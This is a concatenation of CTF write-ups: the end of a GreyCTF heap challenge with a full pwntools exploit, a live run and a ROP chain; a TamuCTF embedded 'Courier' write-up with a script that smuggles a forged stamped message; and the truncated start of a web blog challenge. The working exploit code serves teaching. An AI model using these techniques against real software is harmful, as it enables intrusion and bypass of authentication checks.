Finally:```nasm@off:~/Documents/pwn/greycat/writemeabook/dist$ python3 exploit.py REMOTE HOST=34.124.157.94 PORT=12346[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'/home/nasm/Documents/pwn/greycat/writemeabook/dist' [*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 34.124.157.94 on port 12346: Done [+] heap: 0x81a000 [*] Encrypted fp: 0x40484d[+] libc: 0x7f162182f000 [+] environ: 0x7ffe60582c98[+] stackframe_rewrite: 0x7ffe60582b48[*] Loaded 218 cached gadgets for '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'0x7ffe60582b48: 0x7f1621874eb0 pop rax; ret 0x7ffe60582b50: 0x2 SYS_open0x7ffe60582b58: 0x7f162185ae51 pop rsi; ret0x7ffe60582b60: 0x0 O_RDONLY0x7ffe60582b68: 0x7f16218593e5 pop rdi; ret0x7ffe60582b70: 0x7ffe60582c28 (+0xb8)0x7ffe60582b78: 0x7f16218c0396 syscall; ret0x7ffe60582b80: 0x7f16218bf528 pop rax; pop rdx; pop rbx; ret0x7ffe60582b88: 0x0 SYS_read0x7ffe60582b90: 0x1000x7ffe60582b98: b'uaaavaaa' <pad rbx>0x7ffe60582ba0: 0x7f162185ae51 pop rsi; ret0x7ffe60582ba8: 0x81a0000x7ffe60582bb0: 0x7f16218593e5 pop rdi; ret0x7ffe60582bb8: 0x30x7ffe60582bc0: 0x7f16218c0396 syscall; ret0x7ffe60582bc8: 0x7f16218bf528 pop rax; pop rdx; pop rbx; ret0x7ffe60582bd0: 0x1 SYS_write0x7ffe60582bd8: 0x1000x7ffe60582be0: b'naaboaab' <pad rbx>0x7ffe60582be8: 0x7f162185ae51 pop rsi; ret0x7ffe60582bf0: 0x81a0000x7ffe60582bf8: 0x7f16218593e5 pop rdi; ret0x7ffe60582c00: 0x10x7ffe60582c08: 0x7f16218c0396 syscall; ret0x7ffe60582c10: 0x7f16218593e5 pop rdi; ret0x7ffe60582c18: 0x1337 [arg0] rdi = 49190x7ffe60582c20: 0x7f16218745f0 exit0x7ffe60582c28: b'/flag\x00' b'/flag\x00'0xde[*] Switching to interactive modeYour book has been rewritten!
grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb9\x81\x00\x00\x00\xb8\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x81\x00\x00\x00\x00\x00\x00\x00\xc0\x81\x00\[*] Got EOF while reading in interactive$ exit$ [*] Closed connection to 34.124.157.94 port 12346[*] Got EOF while sending in interactive```
## Conclusion
That was a nice medium heap challenge, even though that was pretty classic. You can find the tasks and the exploit [here](https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook).
## Annexes
Final exploit (with comments):```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
BINARY = "chall"LIBC = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6"LD = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF(BINARY)libc = pwn.ELF(LIBC)ld = pwn.ELF(LD)pwn.context.terminal = ["tmux", "splitw", "-h"]pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsep64 = pwn.p64u64 = pwn.u64p32 = pwn.p32u32 = pwn.u32p16 = pwn.p16u16 = pwn.u16p8 = pwn.p8u8 = pwn.u8
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''source /home/nasm/Downloads/pwndbg/gdbinit.py'''.format(**locals())
HEAP_OFFT = 0x3d10CHUNK3_OFFT = 0x3d50STDOUT = 0x21a780
def encode_ptr(heap, offt, value): return ((heap + offt) >> 12) ^ value
import subprocessdef one_gadget(filename): return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
def exp():
io = start()
def init(flip): io.sendlineafter(b"> ", flip) def add(idx, data: bytes): io.sendlineafter(b"Option: ", b"1") io.sendlineafter(b"Index: ", str(idx).encode()) io.sendlineafter(b"Write me a book no more than 32 characters long!\n", data)
def edit(idx, data): io.sendlineafter(b"Option: ", b"2") io.sendlineafter(b"Index: ", str(idx).encode()) io.sendlineafter(b"Write me the new contents of your book that is no longer than what it was before.\n", data)
def free(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode())
def heapLeak(idx): io.sendlineafter(b"Option: ", b"1337") io.sendlineafter(b"What is your favourite number? ", str(idx).encode()) io.recvuntil(b"You found a secret message: ") return int(io.recvline().replace(b"\n", b"").decode(), 16) - HEAP_OFFT
def enable_print(idx): edit(idx, b"".join([ pwn.p64(0) ]))
def libc_leak_free(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT
def leak_environ(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
init(b"m"*4 + pwn.p8(0x41))
add(1, b"K"*0x10) heap_leak = heapLeak(1) pwn.log.success(f"heap: {hex(heap_leak)}")
# victim add(2, b"") add(3, b"".join([ b"A"*0x10, pwn.p64(0), # prev_sz pwn.p64(0x21) # fake size ])) add(4, b"".join([ b"A"*0x10, pwn.p64(0), # prev_sz pwn.p64(0x21) # fake size ])) free(4) # count for 0x40 tcachebin = 1
# chunk2 => sz extended edit(1, b"K"*0x20) # chunk2 => tcachebin 0x40, count = 2 free(2)
# oob write over chunk3, we keep valid header add(2, b"".join([ pwn.p64(0)*3, pwn.p64(0x41) # valid size to end up in the 0x40 tcache bin ])) # count = 1
# chunk3 => 0x40 tcachebin, count = 2 free(3)
pwn.log.info(f"Encrypted fp: {hex(encode_ptr(heap_leak, CHUNK3_OFFT, exe.got.printf))}")
# tcache poisoning edit(2, b"".join([ pwn.p64(0)*3, pwn.p64(0x41), # valid size pwn.p64(encode_ptr(heap_leak, CHUNK3_OFFT, exe.sym.books)) # forward ptr ]))
# dumb add(3, b"A"*0x20) # count = 1
# arbitrary write to @books, this way books[1] is user controlled add(4, b"".join([ pwn.p64(0x1000), # sz pwn.p64(exe.sym.books), # target b"P"*0x10 ])) # count = 0
# we can write way more due to the previous call edit(1, pwn.flat([ # 1== 0xff, # sz exe.sym.stdout, # target # 2== 0x8, # sz exe.got.free, # target # 3== 0x8, # sz exe.sym.secret_msg, # target # 4== 0xff, # sz exe.sym.books # target ] + [0] * 0x60, filler = b"\x00")) # free@got => puts edit(2, b"".join([ pwn.p64(exe.sym.puts) ])) # can print = true enable_print(3)
# libc leak libc.address = libc_leak_free(1) pwn.log.success(f"libc: {hex(libc.address)}")
# leak stack (environ) edit(4, pwn.flat([ # 1== 0xff, # sz libc.sym.environ # target ], filler = b"\x00"))
environ = leak_environ(1) pwn.log.success(f"environ: {hex(environ)}")
stackframe_rewrite = environ - 0x150 pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")
rop = pwn.ROP(libc, base=stackframe_rewrite)
# setup the write to the rewrite stackframe edit(4, pwn.flat([ # 1== 0xff, # sz stackframe_rewrite # target ], filler = b"\x00"))
# ROPchain rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open rop.call(rop.find_gadget(["syscall", "ret"])) rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ... rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write rop.call(rop.find_gadget(["syscall", "ret"])) rop.exit(0x1337) rop.raw(b"/flag\x00")
print(rop.dump()) print(hex(len(rop.chain()) - 8))
# write and trigger the ROPchain edit(1, rop.chain()) io.interactive()
if __name__ == "__main__": exp()``` |
# TamuCTF 2023 - Embedded - Courier WriteupIn my writeup for the [GoogleCTF 2022 for the Hardware *Weather*] challenge,I wrote
> I would definitely spend hours solving challenges like this once again.
Well, I can say that I finally found another challenge that I enjoyed as muchif not more.
I will guide you, the reader, to how I came up with the solution, but I wouldalso strongly suggest that you think about it for some time on your ownbefore and while reading, it's a fun learning experience and you will definitelyunderstand so much more like that.
If you are here only for the final solution and not interested in knowingthe steps of how this solution was discovered, you can jump to the[solution part](#the-attack).
Another important note before starting is, while I may make it seem likeI found the solution directly, in reality it is not the case, I had to gothrough many dead ends, times of frustration and intentions of giving up.The point is, don't feel bad if you don't find the solution immediately,what makes CTF challenges more fun is when the solution is not obvious,the more dead ends you go through, the more you learn too, and the joyof coming up with the solution at the end pays up for all the frustration.
# Challenge ResourcesIf by the time you are reading this writeup the CTF website is still up, thenyou can access the challenge through the linkhttps://tamuctf.com/challenges#Courier-34.
Otherwise, here is the challenge description and attachments: ## Challenge descriptionAuthor: Addison
Special delivery! This device emulates a delivery system, but we don't havethe ability to connect to the stamping device. Can you trick the target intoleaking the flag?
Connections to the SNI courier will connect you to the UART of the device.You can test with the provided files (just install Rust with thethumbv7m-none-eabi target). We've provided the sender/ implementation as areference.
Hint: There are very few comments. The ones that are present are extremelyrelevant to the intended solution.
NOTE: sender is designed to only work locally on port 42069. To communicatewith the remote server, use `solver-template.py`, or run `socat -d -dTCP-LISTEN:42069,reuseaddr,fork EXEC:'openssl s_client -connect tamuctf.com\:443 -servername courier -quiet' in a separate terminal window beforerunning your solution.### Additional hintsSome contestants are having issues with local builds of courier (the programissues a hard fault when executed in qemu-system-arm) due to a local buildenvironment issue. We are unfortunately unable to reproduce and diagnose thisissue, so we have provided a working build, but these are not the same binariesthat are on the remote server. Notably, stamp.key and flag.txt have beenreplaced.
In addition, we provide the additional following hint: connections to theserver will not be able to observe debug output as it is not provided over theUART connection. Therefore, to observe debug statements, you must execute itlocally with the provided challenge files. You may run it locally with makebuild and HPORTS=42069 make -e run.## Challenge Attachments[courier.tar.gz](https://github.com/yarml/Writeups/raw/main/TamuCTF2023/Embedded-Courier/res/attachments/courier.tar.gz)
[solver-template.py](https://github.com/yarml/Writeups/raw/main/TamuCTF2023/Embedded-Courier/res/attachments/solver-template.py)---
If the challenge servers are still up, you can connect to the target machineeasily using `pwntools` with```pyp = remote("tamuctf.com", 443, ssl=True, sni="courier")```
# Prerequisite KnowledgeIn my writeup, I will assume you have at least some programming knowledge(and since you are interested enough in reading this writeup, then youdefinitely do). The code in the challenge is written in Rust, but if you knowother languages, you will be able to make sense of the code, as a matter of factI never read or written any Rust code in my life before looking at thischallenge.
However that does not mean that basic programming knowledge alone is what itneeded to solve the challenge, as such, I am going to take advantage of thischapter to talk about what I believe are some key concepts to know.
## ARMMost desktops and laptops today (not counting fancy Apply M1 & M2 laptops),as well as servers, have an x86 CPU in them. But x86 is not the dominant CPUarchitecture anywhere else, most notably in the phones market share, where ARMis dominant, and more generally in the embedded space as well.
In high level languages, in this case Rust, the exact CPU architecture does notmatter for the most part, but it is always good to know what architecturea piece of code is going to run on.
- [A tour of the ARM architecture and its Linux support](https://youtu.be/NNol7fRGo2E)- [Stellaris® LM3S6965Microcontroller Data Sheet](https://www.ti.com/lit/ds/symlink/lm3s6965.pdf)- [Wikipedia ARM architecture family](https://en.wikipedia.org/wiki/ARM_architecture_family)
## UARTUART, which stands for *Universal Asynchronous Receiver/Transmitter*, isa protocol that allows two microcontrollers to communicate between each other,using no more than two pins: Tx for transmission and Rx for reception.
- [Wikipedia Universal asynchronous receiver-transmitter](https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter)- [KeyStone Architecture Universal Asynchronous Receiver/Transmitter (UART) User Guide](https://www.ti.com/lit/sprugp1)
## EmulationIt is possible to have a piece of software emulate the behavior of somehardware, these are known as virtual machines. This is relevant in thischallenge because the two devices that run the Rust code are emulated using[Qemu](https://www.qemu.org/).
# Initial ExperimentsUsing the `solver-template.py`, we can connect to an instance of the system,the device we are connected to does not print anything directly after connectionso we are only left with the red `$` coming from `pwntools`' `interactive()`function.
If we try to execute something like `help`, nothing gets displayed either, soI assume the connection we have is not into some kind of Linux shell,and I cannot think of any more blink testing that can be done here, so it istime to read the source code.
# Exploring The SystemThe source code is written in Rust, and is divided into small units each one ofwhich is in its own directory. We sadly do not have any kind of documentationabout the system, so we will need to figure it out ourselves.
There is no real way to know where to start reading the source code, thereforeI think the wise thing to do is read the `Dockerfile` first since it will giveus an idea about the environment the server challenges are in.
## DockerfileFrom the `Dockerfile`, we can know that the challenge servers are running aLinux environment, but more importantly, `Qemu` is installed, and the command```shsocat -d -d TCP-LISTEN:$PORT,reuseaddr,fork EXEC:/opt/chal/entrypoint.sh```is executed right at the startup of the docker container.
The command is very cryptic, thankfully however, we have the Linux manual toexplain what those options mean, you can check the full manual entry for `socat`[here](https://linux.die.net/man/1/socat), but basically, the `-d -d` part canbe ignored, it is there only to tell `socat` to output extra information.
`TCP-LISTEN` tells `socat` to listen on a specified port, in this case `$PORT`.The option `fork` tells socat to make a new child process for each newconnection, and I didn't really understand `reuseaddr`, but it does not seemthat important anyway.
`EXEC` tells socat that for each new connection, it should execute the programspecified in the command, in this case the shell script`/opt/chal/entrypoint.sh`, which is also the shell script we have with thesource code. The important part is that the standard input and output of thisprogram will be redirected to the network connection.
If you are not familiar with Unix file redirection and all these cool things,I suggest you watch [this video](https://youtu.be/GA2mIUQq48s)(maybe at 2x speed).
So in short, we know that the challenge servers will execute the shell script`entrypoint.sh` for each connection, so the next logical step is to see what`entrypoint.sh` does.
## entrypoint.shOther than cleanup setup, `entrypoint.sh` starts with two calls to`qemu-system-arm` in background with `&`.
The command line for the first Qemu instance is```shqemu-system-arm \ -cpu cortex-m3 -machine lm3s6965evb -display none \ -semihosting-config enable=on,target=native \ -serial unix:"${socks}/consignee",server \ -kernel "${challenge_base}/consignee" &```While for the second Qemu instance, it is```shqemu-system-arm \ -cpu cortex-m3 -machine lm3s6965evb -display none \ -semihosting-config enable=on,target=native \ -serial unix:"${socks}/sender",server \ -serial unix:"${socks}/consignee" \ -kernel "${challenge_base}/courier" &```
The most interesting options are `-serial` and `-kernel`.
The first Qemu instance launches the `consignee` kernel while also creatinga unix socket file `consignee` for serial communication.
The second Qemu instance launches the `courier` kernel while also creatinganother unix socket file `sender` for serial communication, and also usesthe `consignee` socket file to communicate with the first Qemu machine.
Then last we have this command```shsocat - UNIX-CONNECT:"${socks}/sender"```which will redirect `stdio` to the unix socket `sender` effectively making all`stdio` go to the serial input of the second Qemu instance. And remember, inthis shell script `stdio` is the input/output we send/receive to/fromthe challenge server.
We also know from `-cpu` what kind of processor the devices are running, whichis a Cortex-M3 processor.
## System ModelFor the sake of limiting confusion, I will name the two Qemu instances, basedon the kernel they are running, the first Qemu instance will be referred toas `consignee` device, while the second one will be the `courier` device.
Since our input/output goes to the `courier` device just like `courier`communicates with `consignee`, then we might think of our input/outputas coming from a third machine, which I will refer to as the `sender` device.
Below is a graphical presentation(excuse the poor drawing) of how all of thesedevices are connected to each other, or at least that is how much we know from`Dockerfile ` and `entrypoint.sh`.

The red lines represent communication between devices, while the devices arethose black outlined boxes.
If I had to give a wild not so educated guess, I would say that the flag residesin `consignee` for no other reason that it being the furthest awayfrom `sender`.
Now we can know where to start reading the source code, since out input firstreaches `courier`, it is definitely a good idea to start from there.
## Courier Source CodeThe source code for `courier` is all contained in a single file`courier/main.rs`, it is not however structured like a usual Rust program.Remember, `courier` is a kernel for the Cortex-M3 processor, as such, thereisn't the usual `main` function. However there is a function called `init`marked with the attribute `#[init]`, so, even if we do not bother looking upwhich dependency provides us with that attribute, we can assume this is out"`main`" function.
The function starts with what seems a heap initialization:```rustuse core::mem::MaybeUninit;static mut HEAP_MEM: [MaybeUninit<u8>; HEAP_SIZE] = [MaybeUninit::uninit(); HEAP_SIZE];unsafe { HEAP.init(HEAP_MEM.as_ptr() as usize, HEAP_SIZE) }```Which can be ignored.
After that, we have an initialization of the serial ports```rustlet (sender_manage, sender_rx, sender_tx) = unsafe { UARTPeripheral::new(UARTAddress::UART0) } .enable_transmit(true) .enable_receive(true) .enable_fifo(true) .enable_break_interrupt(true) .enable_receive_interrupt(true) .finish() .split();```And a very similar one for the connection with `consignee`:```rustlet (consignee_manage, consignee_rx, consignee_tx) = unsafe { UARTPeripheral::new(UARTAddress::UART1) } .enable_transmit(true) .enable_receive(true) .enable_fifo(true) .enable_break_interrupt(true) .enable_receive_interrupt(true) .finish() .split();```These can also be largely ignored, all we can get from these is that thevariables `sender_manage`, `sender_rx` and `send_tx` and their `consignee`counter parts are used to manage the connection part, if we come across themlater in the source code.
After that the `init` function returns what seems to be a local state, thedetails of how this works exactly are not important, what matters is that thislocal state can be accessed from other functions.
The state returned is initialized in he following way:```rustLocal { sender_manage, sender_rx, sender_tx, consignee_manage, consignee_rx, consignee_tx, stamp_ctr: 0, next_msg_sender: None, next_msg_consignee: None, rx_buf_sender: Vec::new(), rx_buf_consignee: Vec::new(),}```
Next, we have the function `recv_msg_sender`, which has the declaration
```rust#[task( binds = UART0, priority = 1, local = [sender_rx, next_msg_consignee, rx_buf_sender] )]fn recv_msg_sender(cx: recv_msg_sender::Context) { ... }```We can safely guess from the attribute and name that this function calledwhen `courier` receives a message from `sender` at UART0.
The function also accesses the members `sender_rx`, `next_msg_consignee` and`rx_buf_sender` from the local state.
The first part of the function basically makes sure to send any message thatfailed to be sent to `consignee` before processing any message from `sender`.
After that we enter a loop while there is still data to be read from `sender`.This data is read and processed byte by byte as evident by:```rustlet Ok(b) = uart.readb() else { return; };```This data is then put inside the local state in `rx_buf_sender` which actsas a buffer to store all the message from `sender` even though it is processedbyte by byte.
This buffer is then passed to `try_read_msg` with the call:```rusttry_read_msg::<_, { 1 << 12 }, false>(rx_buf)```We will analyze this function later.
`try_read_msg` returns one of three cases, an `Err(ReadMsgError::NotYetDone)`when it determines that the message was not yet received or processedentirely, an `Ok(msg)` when the function determines that we received the entiremessage, or an `Err(e)` when it determines that the currently being read messageis invalid.
The interesting part is (obviously) when `Ok(msg)` is returned, and when thathappens, the following sequence of code gets executed:```rustlet mut prev_buf = Vec::new();swap(rx_buf, &mut prev_buf);if let Err(msg) = send_msg_consignee::spawn((prev_buf, msg)) { *next_msg = Some(msg); return;}```The `rx_buf_sender` gets swapped with an empty buffer, so `prev_buf` containsthe input se sent for the current message, then we try to send a message toconsignee with the `send_msg_consignee` function, giving it the tupleparameter `(prev_buf, msg)` as well.
So let's read `send_msg_consignee`.
`send_msg_consignee` starts by checking the type of the message, apparently,there are two valid types of messages we the `sender` can send to `courier`,we can either send `Unstamped` messages or `Stamped` messages, in the formercase, nothing special is done, while in the latter case, some stamp is checkedfor validity, and if the stamp validity check fails, the function`send_msg_consignee` simply returns and doesn't continue to do the following.
If the message was unstamped, or it was stamped with a correct stamp, `courier`will simply forward the message to `consignee`, using the `prev_buf`, it willliterally just copy paste the message to `consignee` without any modifications.
The following two functions `recv_msg_consignee` and `send_msg_sender` basicallydo something very similar but in reverse, they forward all responses from`consignee` to `sender` as long as the message type is `Response`, not`Stamped` or `Unstamped`, or some invalid message type.
To recap what we know so far; There are 3 message types: `Unstamped`, `Stamped`,and `Response`. `courier` will forward all valid `Unstamped` messages, andall valid `Stamped` messages with a valid stamp from `sender` to `consignee`as is. `courier` will also forward back all messages of type `Response` from`consignee` back to `sender`.
With the behavior of `courier` known, we can move on to `consignee`.
## Consignee Source CodeSimilarly to the structure of `courier`, `consignee` has an `init` functionwhich we can skip analyzing because it is very similar to `courier`'s`init`.
Next, `consignee` has a `recv_msg` function, which receives messages from`courier`, similarly to `courier`'s `recv_msg_sender`, this functionprocesses any incoming message byte by byte, while using a buffer to storethe entire message when it's still being received. When the functionreceives a full and valid message, as determined by the same function`try_read_msg`, it calls `respond_to_msg` giving it the received message asparameter.
In `respond_to_msg` we get an insight into what `consignee` is useful for,the theory of `consignee` storing the flag is indeed true, because as a responseto the stamped message of type `FlagRequest`, `consignee` will return the flag.
Whatever response is generated by `respond_to_msg` is then sent, byte by byte,back to `courier`, and remember that `courier` simply forwards responses backto `sender` without any additional checks.
### Consignee's ProtocolBelow is a model of the responses given by `consignee` upon reception of a validrequest:- `Unstamped` messages: - `HailstoneRequest(a: u16)` -> `HailstoneResponse(hailstone(a))`- `Stamped` messages: - `WeddingInvitation` -> `WeddingResponse(...)` (useless) - `FlagRequest` -> `FlagResponse(flag)` (not useless)
---It is then obvious what the objective we are aiming to achieve is, we want tomake `consignee` receive a `FlagRequest`.
Notice how `consignee` does NOT check the stamp, if it receives a stampedmessage, it will accept it's content even if the stamp is nonsense, it truststhat `courier` checked the stamp, and whenever there is trust, there isopportunity for a hacker.
This is all there is to `consignee`, it is really simple, and we already havean idea about how we need to attack the system.
Next, let's have a look at `try_read_msg`.
## try_read_msgThe source code for `try_read_msg` can be found in `courier-proto/src/lib.rs` atline 42.
First thing the function does is check the length of the in reception message:```rustif buf.len() >= MSG_MAGIC.len() + core::mem::size_of::<u16>()```If the length is greater than 10, it parses its header, the header should beas follows:
| Offset | Size | Content | Description || ------ | ---- | -------------- | ---------------------------------------- || 0 | 8 | 'COURIERM' | Magic || 8 | 2 | msg_len:MSBu16 | Number of bytes to read after the header |
The very confusing sequence```rustlet mut len_buf = [0u8; core::mem::size_of::<u16>()];buf.iter() .copied() .skip(MSG_MAGIC.len()) .take(core::mem::size_of::<u16>()) .zip(&mut len_buf) .for_each(|(b, e)| *e = b);let msg_len = u16::from_be_bytes(len_buf);```basically reads `msg_len` from the header and stores in the variable withthe same name, part of me thinks there was probably a simpler and more clear wayto do that, but the devs wanted to make it confusing.
Next we check if the message size if larger than `MAX_SIZE`, and if it is thecase, we clear the buffer and return an `Err(MessageTooLong)`. `MAX_SIZE` isa template parameter(I don't know if they are called templates in Rust, usingC++ terminology), and very suspiciously, `courier` sets it to `1 << 12` while`consignee` to `1 << 10`, this should not be the case because all `sender`messages are forwarded to `consignee`, and as such both `courier` and`consignee` should share the same definition of what a *message* is.
Knowing that the buffer is cleared when `msg_len > MAX_SIZE`, can you thinkof any ways this could be abused? If you are reading while trying to stillsolve the problem, I would suggest you really think about it.
### How can this be abused?Imagine that `sender` sends a message of length between the `MAX_SIZE` of`courier` and `consignee`, what would happen is that `courier` will think themessage is fine and forward it to `consignee`, but `consignee` will discardit after reading the first 10 bytes and finding out the message size is toolarge for it to handle. The bigger problem arises with the fact that `courier`,not knowing `consignee` rejected the message will still dump the rest ofthe message on `consignee`, `consignee` will be trying to read the body of themessage sent by `sender` as a header to a second fictional message. `consignee`will be effectively living a delusion, and all we need to do to trigger thisdelusion is to send a message with a size between `2^10` and `2^12`, like`2^11`.
---Let's continue reading through `try_read_msg`.
If the message is of valid length, then `try_read_msg` will keep returning`Err(NotYetDone)` until the buffer is of length `10 + msg_len`, in whichcase it will decode the message using `postcard`:```rustlet value = postcard::from_bytes( &buf[(MSG_MAGIC.len() + core::mem::size_of::<u16>())..] )?;```[Here](https://postcard.jamesmunns.com/) is the documentation of `postcard`,and understanding the format which messages are encoded with will be essentialto build a message. This format is explained [later](#postcard) in thiswriteup.
If the template argument specifies it through `CLEAR_ON_DESER`, then the bufferwill be cleared when a message was successfully read, which is the case for`consignee`, while `courier` clears the buffer itself after swapping it witha new buffer.
Finally, if message decoding was successful, the function `try_read_msg` returnsthe decoded message.
The first part of the header `COURIERM` is validated with the buffer sizeis still less than `10` with:```rustif last != MSG_MAGIC[buf.len() - 1]```
And in case the last character of the buffer is not the correct one from themagic then:```rustbuf.clear();buf.push(last); // we might actually be handling```The buffer is cleared and the last character is put back.
## PostcardThe format `postcard` uses to encode messages is really simple.
Integers are stored in the `varint` format to take as little space as possible.While enums are stored as their numerical value followed by any data they have.
### ExamplesThe message `Unstamped(HailstoneRequest(17))` will be encoded as the bytearray:```py[ 0x00, # Enum value of Unstamped 0x00, # Enum value of HailstoneRequest 0x11 # Hex for varint(17u16)]```
The subsequent response `Response(HailstoneResponse(12))` will be encoded as thebyte array:```py[ 0x02, # Enum value of Response 0x00, # Enum value of HailstoneResponse 0x0C # Hex for varint(12u16)]```
The file [`encoder.rs`](https://github.com/yarml/Writeups/blob/main/TamuCTF2023/Embedded-Courier/res/encoder.rs) is a simple tool I wrote that wouldprint the encoding of a couriered package, it needs to be modified from sourceto print the encoding of a different couriered package, but it is really simple(and also my first written lines of Rust).
# The AttackNow let's put all the knowledge we gained from analyzing the system togetherand let's see how it can be fatally exploited.
We know that `consignee` does not check stamps and trusts that `courier` didso. And we know that `consignee` can still reject a message sent to it from`courier` in the case the message is of a size between `2^10` and `2^12`.This also allows us to make `consignee` read a *sub*message from the bodyof another *parent* message.
It is kind of obvious how this can be exploited, we need to send an `Unstamped`message to `courier` of size `2^11` for example, and have in its body a`Stamped` *sub*message for `consignee` with th `FlagRequest`.
The format of the `FlagRequest` message is as follows:```rustStamped( StampedPackage { ctr: 0x0c, // arbitrary hmac: [0x0du8; 32], // arbitrary stamped_payload: Vec::from( [1u8] // Enum value for FlagRequest ) })```Which is encoded to```py[ 0x01, # Enum value of Stamped 0x0c, # ctr 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p1 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p2 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p3 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p4 0x01, # Count of next byte 0x01 # Enum value of FlagRequest]```
So all we need to do is wrap this structure inside a long unstamped message that`courier` naively thinks is a `HailstoneRequest`
We can do so with the following python script:```pymessage = list()
message += 'COURIERM'.encode() # Header of the first real messagemessage += [0x08, 0x00] # 2^11 bytes message lengthmessage += [0x00, 0x00] # Unstamped HailstoneRequestmessage += 'COURIERM'.encode() # Header for the fictional 2nd consignee messagemessage += [0x00, 0x24] # 36 bytes message length
# Encoded fake stamped FlagRequest packagemessage += [0x01, 0x0c, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x01, 0x01]
print(len(message))print(f'{bytes(message)}')print('Adding 0s')
# The real message needs to be 2^11 + 10 bytes in length, so we pad with 0smessage += [0]*(2058-len(message))```
Finally, if we send this message using a modified version of`solver-template.py`, we receive back```pyb'COURIERM\x00>\x02\x02;Oh, sure! Here you go: gigem{what_is_old_becomes_new_again}'```
And this is it, 20 hours of work and the flag is`gigem{what_is_old_becomes_new_again}`
[GoogleCTF 2022 for the Hardware *Weather*]: https://github.com/yarml/Writeups/blob/main/GoogleCTF2022/Hardware-Weather/README.md |
# Anozer Blog
## Enumeration
**Home page:**

In here, we can see this web application is a blog, and it's about pollution! (Prototype pollution? :D)
**Articles page:**

In here, we can create a new article, with it's name and content.
**Register page:**

**Login page:**

**Since this challenge provided the [source code](https://github.com/siunam321/CTF-Writeups/blob/main/PwnMe-2023-8-bits/Web/Anozer-Blog/another-blog.zip), let's read through them!**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog)-[2023.05.06|22:33:09(HKT)]└> file another-blog.zip another-blog.zip: Zip archive data, at least v2.0 to extract, compression method=store┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog)-[2023.05.06|22:33:10(HKT)]└> unzip another-blog.zip Archive: another-blog.zip creating: blog_pollution/ inflating: blog_pollution/app.py inflating: blog_pollution/articles.py extracting: blog_pollution/config.yaml inflating: blog_pollution/docker-compose.yml inflating: blog_pollution/Dockerfile extracting: blog_pollution/flag.txt inflating: blog_pollution/input.css inflating: blog_pollution/package-lock.json extracting: blog_pollution/package.json extracting: blog_pollution/requirements.txt creating: blog_pollution/static/ inflating: blog_pollution/static/style.css inflating: blog_pollution/tailwind.config.js creating: blog_pollution/templates/ inflating: 